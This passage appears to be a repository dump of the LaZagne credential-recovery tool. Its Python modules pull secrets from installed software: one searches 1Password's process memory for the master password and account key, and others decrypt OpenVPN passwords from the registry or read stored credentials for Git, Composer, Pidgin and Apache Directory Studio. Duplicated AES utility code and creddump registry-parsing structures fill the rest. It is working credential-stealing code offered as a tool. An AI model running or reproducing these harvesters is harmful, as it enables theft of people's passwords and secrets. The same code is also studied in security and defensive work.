NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | # This is a pure-Python implementation of the AES algorithm and AES common 24 | # modes of operation. 25 | 26 | # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard 27 | # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation 28 | 29 | 30 | # Supported key sizes: 31 | # 128-bit 32 | # 192-bit 33 | # 256-bit 34 | 35 | 36 | # Supported modes of operation: 37 | # ECB - Electronic Codebook 38 | # CBC - Cipher-Block Chaining 39 | # CFB - Cipher Feedback 40 | # OFB - Output Feedback 41 | # CTR - Counter 42 | 43 | # See the README.md for API details and general information. 44 | 45 | # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: 46 | # https://www.dlitz.net/software/pycrypto/ 47 | 48 | 49 | VERSION = [1, 3, 0] 50 | 51 | from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter 52 | from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter 53 | from .blockfeeder import PADDING_NONE, PADDING_DEFAULT 54 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/memory/onepassword.py: -------------------------------------------------------------------------------- 1 | from lazagne.config.lib.memorpy import Process, MemWorker 2 | from lazagne.config.module_info import ModuleInfo 3 | 4 | 5 | class OnePassword(ModuleInfo): 6 | 7 | def __init__(self): 8 | ModuleInfo.__init__(self, "1Password", 'memory') 9 | 10 | def run(self): 11 | pwd_found = [] 12 | 13 | for process in Process.list(): 14 | if process.get('name') == '1Password.exe': 15 | mw = MemWorker(pid=process.get('pid')) 16 | 17 | # Search for Account Details 18 | account_details = r'{"title":".*","url":"(.*)","ainfo":"(.*)","ps":.*,"pbe":.*,' \ 19 | '"pgrng":.*,"URLs":\[{"l":".*","u":"(.*)"}\],"b5UserUUID":"(.*)",' \ 20 | '"tags":\[.*\]}' 21 | 22 | for _, v in mw.mem_search(account_details, ftype='groups'): 23 | pwd_found.append({ 24 | "Process": str(process), 25 | 'Login URL': str(v[0]), 26 | 'Email': str(v[1]), 27 | 'User ID': str(v[3]), 28 | }) 29 | 30 | # Search for Secret Key 31 | secret_key = '{"name":"account-key","value":"(.{2}-.{6}-.{6}-.{5}-.{5}-.{5}-.{5})","type":"T"}' 32 | for _, v in mw.mem_search(secret_key, ftype='groups'): 33 | pwd_found.append({ 34 | 'Process': str(process), 35 | 'Account Key': str(v[0]) 36 | }) 37 | 38 | # Search for Master Password 39 | master_password = '{"name":"master-password","value":"(.*)","type":"P","designation":"password"}' 40 | junk = '","type":"P","designation":"password"}' 41 | 42 | for _, v in mw.mem_search(master_password, ftype='groups'): 43 | v = v[0] # Remove Tuple 44 | 45 | if junk in v: # Hacky way of fixing weird regex bug ?! 46 | v = v.split(junk)[0] 47 | 48 | pwd_found.append({ 49 | 'Process': str(process), 50 | 'Master Password': str(v) 51 | }) 52 | 53 | return pwd_found 54 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/crypto/pyaes/__init__.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2014 Richard Moore 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | # This is a pure-Python implementation of the AES algorithm and AES common 24 | # modes of operation. 25 | 26 | # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard 27 | # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation 28 | 29 | 30 | # Supported key sizes: 31 | # 128-bit 32 | # 192-bit 33 | # 256-bit 34 | 35 | 36 | # Supported modes of operation: 37 | # ECB - Electronic Codebook 38 | # CBC - Cipher-Block Chaining 39 | # CFB - Cipher Feedback 40 | # OFB - Output Feedback 41 | # CTR - Counter 42 | 43 | # See the README.md for API details and general information. 44 | 45 | # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: 46 | # https://www.dlitz.net/software/pycrypto/ 47 | 48 | 49 | VERSION = [1, 3, 0] 50 | 51 | from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter 52 | from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter 53 | from .blockfeeder import PADDING_NONE, PADDING_DEFAULT 54 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/crypto/pyaes/util.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2014 Richard Moore 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | # Why to_bufferable? 24 | # Python 3 is very different from Python 2.x when it comes to strings of text 25 | # and strings of bytes; in Python 3, strings of bytes do not exist, instead to 26 | # represent arbitrary binary data, we must use the "bytes" object. This method 27 | # ensures the object behaves as we need it to. 28 | 29 | def to_bufferable(binary): 30 | return binary 31 | 32 | def _get_byte(c): 33 | return ord(c) 34 | 35 | try: 36 | xrange 37 | except NameError: 38 | 39 | def to_bufferable(binary): 40 | if isinstance(binary, bytes): 41 | return binary 42 | return bytes(ord(b) for b in binary) 43 | 44 | def _get_byte(c): 45 | return c 46 | 47 | def append_PKCS7_padding(data): 48 | pad = 16 - (len(data) % 16) 49 | return data + to_bufferable(chr(pad) * pad) 50 | 51 | def strip_PKCS7_padding(data): 52 | if len(data) % 16 != 0: 53 | raise ValueError("invalid length") 54 | 55 | pad = _get_byte(data[-1]) 56 | 57 | if pad > 16: 58 | raise ValueError("invalid padding byte") 59 | 60 | return data[:-pad] 61 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/config/crypto/pyaes/util.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2014 Richard Moore 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | # Why to_bufferable? 24 | # Python 3 is very different from Python 2.x when it comes to strings of text 25 | # and strings of bytes; in Python 3, strings of bytes do not exist, instead to 26 | # represent arbitrary binary data, we must use the "bytes" object. This method 27 | # ensures the object behaves as we need it to. 28 | 29 | def to_bufferable(binary): 30 | return binary 31 | 32 | def _get_byte(c): 33 | return ord(c) 34 | 35 | try: 36 | xrange 37 | except NameError: 38 | 39 | def to_bufferable(binary): 40 | if isinstance(binary, bytes): 41 | return binary 42 | return bytes(ord(b) for b in binary) 43 | 44 | def _get_byte(c): 45 | return c 46 | 47 | def append_PKCS7_padding(data): 48 | pad = 16 - (len(data) % 16) 49 | return data + to_bufferable(chr(pad) * pad) 50 | 51 | def strip_PKCS7_padding(data): 52 | if len(data) % 16 != 0: 53 | raise ValueError("invalid length") 54 | 55 | pad = _get_byte(data[-1]) 56 | 57 | if pad > 16: 58 | raise ValueError("invalid padding byte") 59 | 60 | return data[:-pad] 61 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/crypto/pyaes/__init__.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2014 Richard Moore 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | # This is a pure-Python implementation of the AES algorithm and AES common 24 | # modes of operation. 25 | 26 | # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard 27 | # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation 28 | 29 | 30 | # Supported key sizes: 31 | # 128-bit 32 | # 192-bit 33 | # 256-bit 34 | 35 | 36 | # Supported modes of operation: 37 | # ECB - Electronic Codebook 38 | # CBC - Cipher-Block Chaining 39 | # CFB - Cipher Feedback 40 | # OFB - Output Feedback 41 | # CTR - Counter 42 | 43 | # See the README.md for API details and general information. 44 | 45 | # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: 46 | # https://www.dlitz.net/software/pycrypto/ 47 | 48 | 49 | VERSION = [1, 3, 0] 50 | 51 | from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter 52 | from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter 53 | from .blockfeeder import PADDING_NONE, PADDING_DEFAULT 54 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/crypto/pyaes/util.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2014 Richard Moore 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | # Why to_bufferable? 24 | # Python 3 is very different from Python 2.x when it comes to strings of text 25 | # and strings of bytes; in Python 3, strings of bytes do not exist, instead to 26 | # represent arbitrary binary data, we must use the "bytes" object. This method 27 | # ensures the object behaves as we need it to. 28 | 29 | def to_bufferable(binary): 30 | return binary 31 | 32 | def _get_byte(c): 33 | return ord(c) 34 | 35 | try: 36 | xrange 37 | except NameError: 38 | 39 | def to_bufferable(binary): 40 | if isinstance(binary, bytes): 41 | return binary 42 | return bytes(ord(b) for b in binary) 43 | 44 | def _get_byte(c): 45 | return c 46 | 47 | def append_PKCS7_padding(data): 48 | pad = 16 - (len(data) % 16) 49 | return data + to_bufferable(chr(pad) * pad) 50 | 51 | def strip_PKCS7_padding(data): 52 | if len(data) % 16 != 0: 53 | raise ValueError("invalid length") 54 | 55 | pad = _get_byte(data[-1]) 56 | 57 | if pad > 16: 58 | raise ValueError("invalid padding byte") 59 | 60 | return data[:-pad] 61 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/openvpn.py: -------------------------------------------------------------------------------- 1 | try: 2 | import _winreg as winreg 3 | except ImportError: 4 | import winreg 5 | 6 | from lazagne.config.winstructure import * 7 | from lazagne.config.module_info import ModuleInfo 8 | from lazagne.config.winstructure import Win32CryptUnprotectData 9 | from lazagne.config.constant import constant 10 | 11 | 12 | class OpenVPN(ModuleInfo): 13 | def __init__(self): 14 | ModuleInfo.__init__(self, name='openvpn', category='sysadmin', registry_used=True, winapi_used=True) 15 | 16 | def check_openvpn_installed(self): 17 | try: 18 | key = OpenKey(HKEY_CURRENT_USER, 'Software\\OpenVPN-GUI\\Configs') 19 | return key 20 | except Exception as e: 21 | self.debug(str(e)) 22 | return False 23 | 24 | def decrypt_password(self, encrypted_password, entropy): 25 | result_bytes = Win32CryptUnprotectData(encrypted_password, 26 | entropy=entropy, 27 | is_current_user=constant.is_current_user, 28 | user_dpapi=constant.user_dpapi) 29 | return result_bytes.decode("utf-8") 30 | 31 | def get_credentials(self, key): 32 | pwd_found = [] 33 | num_profiles = winreg.QueryInfoKey(key)[0] 34 | for n in range(num_profiles): 35 | name_skey = winreg.EnumKey(key, n) 36 | skey = OpenKey(key, name_skey) 37 | values = {'Profile': name_skey} 38 | try: 39 | encrypted_password = winreg.QueryValueEx(skey, "auth-data")[0] 40 | entropy = winreg.QueryValueEx(skey, "entropy")[0][:-1] 41 | password = self.decrypt_password(encrypted_password, entropy) 42 | values['Password'] = password.decode('utf16') 43 | except Exception as e: 44 | self.debug(str(e)) 45 | pwd_found.append(values) 46 | winreg.CloseKey(skey) 47 | winreg.CloseKey(key) 48 | 49 | return pwd_found 50 | 51 | def run(self): 52 | openvpn_key = self.check_openvpn_installed() 53 | if openvpn_key: 54 | results = self.get_credentials(openvpn_key) 55 | if results: 56 | return results 57 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/php/composer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import json 3 | 4 | from lazagne.config.module_info import ModuleInfo 5 | from lazagne.config.constant import constant 6 | 7 | import os 8 | 9 | 10 | class Composer(ModuleInfo): 11 | 12 | def __init__(self): 13 | ModuleInfo.__init__(self, 'composer', 'php') 14 | 15 | def extract_credentials(self, location): 16 | """ 17 | Extract the credentials from the "auth.json" file. 18 | See "https://getcomposer.org/doc/articles/http-basic-authentication.md" for file format. 19 | :param location: Full path to the "auth.json" file 20 | :return: List of credentials founds 21 | """ 22 | creds_found = [] 23 | with open(location) as f: 24 | creds = json.load(f) 25 | for cred_type in creds: 26 | for domain in creds[cred_type]: 27 | values = { 28 | "AuthenticationType" : cred_type, 29 | "Domain" : domain, 30 | } 31 | # Extract basic authentication if we are on a "http-basic" section 32 | # otherwise extract authentication token 33 | if cred_type == "http-basic": 34 | values["Login"] = creds[cred_type][domain]["username"] 35 | values["Password"] = creds[cred_type][domain]["password"] 36 | else: 37 | values["Password"] = creds[cred_type][domain] 38 | creds_found.append(values) 39 | 40 | return creds_found 41 | 42 | def run(self): 43 | """ 44 | Main function 45 | """ 46 | 47 | # Define the possible full path of the "auth.json" file when is defined at global level 48 | # See "https://getcomposer.org/doc/articles/http-basic-authentication.md" 49 | # See "https://seld.be/notes/authentication-management-in-composer" 50 | location = '' 51 | tmp_location = [ 52 | os.path.join(constant.profile["COMPOSER_HOME"], u'auth.json'), 53 | os.path.join(constant.profile["APPDATA"], u'Composer\\auth.json') 54 | ] 55 | for tmp in tmp_location: 56 | if os.path.isfile(tmp): 57 | location = tmp 58 | break 59 | 60 | if location: 61 | return self.extract_credentials(location) 62 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/memory/libkeepass/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import io 3 | from contextlib import contextmanager 4 | 5 | from .common import read_signature 6 | # from kdb3 import KDB3Reader, KDB3_SIGNATURE 7 | from .kdb4 import KDB4Reader, KDB4_SIGNATURE 8 | 9 | BASE_SIGNATURE = 0x9AA2D903 10 | 11 | _kdb_readers = { 12 | # KDB3_SIGNATURE[1]: KDB3Reader, 13 | #0xB54BFB66: KDB4Reader, # pre2.x may work, untested 14 | KDB4_SIGNATURE[1]: KDB4Reader, 15 | } 16 | 17 | @contextmanager 18 | def open(filename, **credentials): 19 | """ 20 | A contextmanager to open the KeePass file with `filename`. Use a `password` 21 | and/or `keyfile` named argument for decryption. 22 | 23 | Files are identified using their signature and a reader suitable for 24 | the file format is intialized and returned. 25 | 26 | Note: `keyfile` is currently not supported for v3 KeePass files. 27 | """ 28 | kdb = None 29 | try: 30 | with io.open(filename, 'rb') as stream: 31 | signature = read_signature(stream) 32 | cls = get_kdb_reader(signature) 33 | kdb = cls(stream, **credentials) 34 | yield kdb 35 | kdb.close() 36 | except Exception: 37 | if kdb: kdb.close() 38 | raise 39 | 40 | def add_kdb_reader(sub_signature, cls): 41 | """ 42 | Add or overwrite the class used to process a KeePass file. 43 | 44 | KeePass uses two signatures to identify files. The base signature is 45 | always `0x9AA2D903`. The second/sub signature varies. For example 46 | KeePassX uses the v3 sub signature `0xB54BFB65` and KeePass2 the v4 sub 47 | signature `0xB54BFB67`. 48 | 49 | Use this method to add or replace a class by givin a `sub_signature` as 50 | integer and a class, which should be a subclass of 51 | `keepass.common.KDBFile`. 52 | """ 53 | _kdb_readers[sub_signature] = cls 54 | 55 | def get_kdb_reader(signature): 56 | """ 57 | Retrieve the class used to process a KeePass file by `signature`, which 58 | is a a tuple or list with two elements. The first being the base signature 59 | and the second the sub signature as integers. 60 | """ 61 | if signature[0] != BASE_SIGNATURE: 62 | raise IOError('Unknown base signature.') 63 | 64 | if signature[1] not in _kdb_readers: 65 | raise IOError('Unknown sub signature.') 66 | 67 | return _kdb_readers[signature[1]] 68 | 69 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/git/gitforwindows.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | 4 | try: 5 | from urlparse import urlparse, unquote 6 | except ImportError: 7 | from urllib.parse import urlparse, unquote 8 | 9 | from lazagne.config.constant import constant 10 | from lazagne.config.module_info import ModuleInfo 11 | from lazagne.config.winstructure import string_to_unicode 12 | 13 | 14 | class GitForWindows(ModuleInfo): 15 | def __init__(self): 16 | ModuleInfo.__init__(self, 'gitforwindows', 'git') 17 | 18 | def extract_credentials(self, location): 19 | """ 20 | Extract the credentials from a Git store file. 21 | See "https://git-scm.com/docs/git-credential-store" for file format. 22 | 23 | :param location: Full path to the Git store file 24 | :return: List of credentials founds 25 | """ 26 | pwd_found = [] 27 | if os.path.isfile(location): 28 | with open(location) as f: 29 | # One line have the following format: https://user:pass@example.com 30 | for cred in f: 31 | if len(cred) > 0: 32 | parts = urlparse(cred) 33 | pwd_found.append(( 34 | unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()), 35 | unquote(parts.username), 36 | unquote(parts.password) 37 | )) 38 | 39 | return pwd_found 40 | 41 | def run(self): 42 | """ 43 | Main function 44 | """ 45 | 46 | # According to the "git-credential-store" documentation: 47 | # Build a list of locations in which git credentials can be stored 48 | locations = [ 49 | os.path.join(constant.profile["USERPROFILE"], u'.git-credentials'), 50 | os.path.join(constant.profile["USERPROFILE"], u'.config\\git\\credentials'), 51 | ] 52 | if "XDG_CONFIG_HOME" in os.environ: 53 | locations.append(os.path.join(string_to_unicode(os.environ.get('XDG_CONFIG_HOME')), u'git\\credentials')) 54 | 55 | # Apply the password extraction on the defined locations 56 | pwd_found = [] 57 | for location in locations: 58 | pwd_found += self.extract_credentials(location) 59 | 60 | # Filter duplicates 61 | return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)] 62 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/chats/pidgin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import traceback 6 | 7 | from lazagne.config.module_info import ModuleInfo 8 | from xml.etree.cElementTree import ElementTree 9 | from lazagne.config import homes 10 | 11 | 12 | class Pidgin(ModuleInfo): 13 | def __init__(self): 14 | ModuleInfo.__init__(self, 'pidgin', 'chats') 15 | 16 | # If pidgin is started, use the api to retrieve all passwords 17 | def get_password_from_dbus(self): 18 | 19 | try: 20 | import dbus 21 | except ImportError: 22 | self.debug('Dbus not installed: sudo apt-get install python-dbus') 23 | return [] 24 | 25 | pwd_found = [] 26 | for _, session in homes.sessions(): 27 | try: 28 | bus = dbus.bus.BusConnection(session) 29 | purple = bus.get_object( 30 | "im.pidgin.purple.PurpleService", 31 | "/im/pidgin/purple/PurpleObject", 32 | "im.pidgin.purple.PurpleInterface" 33 | ) 34 | acc = purple.PurpleAccountsGetAllActive() 35 | 36 | for x in range(len(acc)): 37 | _acc = purple.PurpleAccountsGetAllActive()[x] 38 | pwd_found.append({ 39 | 'Login': purple.PurpleAccountGetUsername(_acc), 40 | 'Password': purple.PurpleAccountGetPassword(_acc), 41 | 'Protocol': purple.PurpleAccountGetProtocolName(_acc), 42 | }) 43 | 44 | bus.flush() 45 | bus.close() 46 | 47 | except Exception as e: 48 | self.debug(e) 49 | 50 | return pwd_found 51 | 52 | def run(self): 53 | pwd_found = self.get_password_from_dbus() 54 | 55 | for path in homes.get(file=os.path.join('.purple', 'accounts.xml')): 56 | tree = ElementTree(file=path) 57 | root = tree.getroot() 58 | 59 | for account in root.findall('account'): 60 | if account.find('name') is not None: 61 | name = account.find('name') 62 | password = account.find('password') 63 | 64 | if name is not None and password is not None: 65 | pwd_found.append( 66 | { 67 | 'Login': name.text, 68 | 'Password': password.text 69 | } 70 | ) 71 | 72 | return pwd_found 73 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from xml.etree.ElementTree import parse 3 | 4 | from lazagne.config.module_info import ModuleInfo 5 | from lazagne.config.constant import * 6 | 7 | import os 8 | 9 | 10 | class ApacheDirectoryStudio(ModuleInfo): 11 | 12 | def __init__(self): 13 | ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin') 14 | # Interesting XML attributes in ADS connection configuration 15 | self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"] 16 | 17 | def extract_connections_credentials(self): 18 | """ 19 | Extract all connection's credentials. 20 | 21 | :return: List of dict in which one dict contains all information for a connection. 22 | """ 23 | repos_creds = [] 24 | connection_file_location = os.path.join( 25 | constant.profile["USERPROFILE"], 26 | u'.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml' 27 | ) 28 | if os.path.isfile(connection_file_location): 29 | try: 30 | connections = parse(connection_file_location).getroot() 31 | connection_nodes = connections.findall(".//connection") 32 | for connection_node in connection_nodes: 33 | creds = {} 34 | for connection_attr_name in connection_node.attrib: 35 | if connection_attr_name in self.attr_to_extract: 36 | creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip() 37 | if creds: 38 | repos_creds.append(creds) 39 | except Exception as e: 40 | self.error(u"Cannot retrieve connections credentials '%s'" % e) 41 | 42 | return repos_creds 43 | 44 | def run(self): 45 | """ 46 | Main function 47 | """ 48 | # Extract all available connections credentials 49 | repos_creds = self.extract_connections_credentials() 50 | 51 | # Parse and process the list of connections credentials 52 | pwd_found = [] 53 | for creds in repos_creds: 54 | pwd_found.append({ 55 | "Host" : creds["host"], 56 | "Port" : creds["port"], 57 | "Login" : creds["bindPrincipal"], 58 | "Password" : creds["bindPassword"], 59 | "AuthenticationMethod" : creds["authMethod"] 60 | }) 61 | 62 | return pwd_found 63 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/creddump7/win32/rawreg.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from ..newobj import Obj, Pointer 23 | from struct import unpack 24 | 25 | ROOT_INDEX = 0x20 26 | LH_SIG = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | regtypes = { 23 | '_CM_KEY_VALUE': [0x18, { 24 | 'Signature': [0x0, ['unsigned short']], 25 | 'NameLength': [0x2, ['unsigned short']], 26 | 'DataLength': [0x4, ['unsigned long']], 27 | 'Data': [0x8, ['unsigned long']], 28 | 'Type': [0xc, ['unsigned long']], 29 | 'Flags': [0x10, ['unsigned short']], 30 | 'Spare': [0x12, ['unsigned short']], 31 | 'Name': [0x14, ['array', 1, ['unsigned short']]], 32 | }], 33 | '_CM_KEY_NODE': [0x50, { 34 | 'Signature': [0x0, ['unsigned short']], 35 | 'Flags': [0x2, ['unsigned short']], 36 | 'LastWriteTime': [0x4, ['_LARGE_INTEGER']], 37 | 'Spare': [0xc, ['unsigned long']], 38 | 'Parent': [0x10, ['unsigned long']], 39 | 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]], 40 | 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]], 41 | 'ValueList': [0x24, ['_CHILD_LIST']], 42 | 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']], 43 | 'Security': [0x2c, ['unsigned long']], 44 | 'Class': [0x30, ['unsigned long']], 45 | 'MaxNameLen': [0x34, ['unsigned long']], 46 | 'MaxClassLen': [0x38, ['unsigned long']], 47 | 'MaxValueNameLen': [0x3c, ['unsigned long']], 48 | 'MaxValueDataLen': [0x40, ['unsigned long']], 49 | 'WorkVar': [0x44, ['unsigned long']], 50 | 'NameLength': [0x48, ['unsigned short']], 51 | 'ClassLength': [0x4a, ['unsigned short']], 52 | 'Name': [0x4c, ['array', 1, ['unsigned short']]], 53 | }], 54 | '_CM_KEY_INDEX': [0x8, { 55 | 'Signature': [0x0, ['unsigned short']], 56 | 'Count': [0x2, ['unsigned short']], 57 | 'List': [0x4, ['array', 1, ['unsigned long']]], 58 | }], 59 | '_CHILD_LIST': [0x8, { 